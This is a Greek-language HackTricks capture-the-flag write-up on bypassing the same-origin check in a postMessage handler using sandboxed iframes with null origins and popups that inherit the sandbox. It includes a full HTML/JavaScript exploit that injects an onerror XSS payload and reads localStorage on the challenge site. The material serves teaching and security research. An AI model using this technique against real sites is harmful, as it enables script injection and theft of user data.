8.1 KiB
Παράκαμψη του SOP με Iframes - 1
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Συμμετάσχετε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.
Iframes στο SOP-1
Σε αυτήν την πρόκληση που δημιουργήθηκε από τους NDevTK και Terjanq, χρειάζεστε να εκμεταλλευτείτε ένα XSS στον κώδικα.
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
Το κύριο πρόβλημα είναι ότι η κύρια σελίδα χρησιμοποιεί το DomPurify για να στείλει τα δεδομένα data.body
, οπότε για να στείλετε τα δικά σας δεδομένα html σε αυτόν τον κώδικα πρέπει να παρακάμψετε το e.origin !== window.origin
.
Ας δούμε τη λύση που προτείνουν.
Παράκαμψη SOP 1 (e.origin === null)
Όταν το //example.org
ενσωματώνεται σε ένα sandboxed iframe, τότε η προέλευση της σελίδας θα είναι null
, δηλαδή window.origin === null
. Έτσι, απλά ενσωματώνοντας το iframe μέσω <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
μπορούμε να επιβάλουμε την προέλευση null
.
Αν η σελίδα ήταν ενσωματώσιμη, θα μπορούσατε να παρακάμψετε αυτήν την προστασία με αυτόν τον τρόπο (ενδέχεται να χρειαστεί επίσης να οριστούν τα cookies σε SameSite=None
).
Παράκαμψη SOP 2 (window.origin === null)
Το λιγότερο γνωστό γεγονός είναι ότι όταν ο τιμή sandbox allow-popups
ορίζεται, τότε το ανοιχτό popup θα κληρονομήσει όλα τα sandboxed attributes εκτός αν οριστεί το allow-popups-to-escape-sandbox
.
Έτσι, ανοίγοντας ένα popup από μια προέλευση null θα κάνει το window.origin
μέσα στο popup επίσης null
.
Λύση πρόκλησης
Επομένως, για αυτήν την πρόκληση, θα μπορούσατε να δημιουργήσετε ένα iframe, να ανοίξετε ένα popup στη σελίδα με το ευάλωτο χειριστή XSS (/iframe.php
), καθώς window.origin === e.origin
επειδή και τα δύο είναι null
είναι δυνατόν να στείλετε ένα payload που θα εκμεταλλευτεί το XSS.
Αυτό το payload θα λάβει το αναγνωριστικό και θα στείλει ένα XSS πίσω στην κορυφαία σελίδα (η σελίδα που ανοίγει το popup), η οποία θα αλλάξει την τοποθεσία στο ευάλωτο /iframe.php
. Επειδή το αναγνωριστικό είναι γνωστό, δεν έχει σημασία ότι η συνθήκη window.origin === e.origin
δεν ικανοποιείται (θυμηθείτε, η προέλευση είναι το popup από το iframe που έχει προέλευση null
) επειδή data.identifier === identifier
. Στη συνέχεια, το XSS θα ενεργοποιηθεί ξανά, αυτή τη φορά στη σωστή προέλευση.
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε τη εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στη τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Συμμετάσχετε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.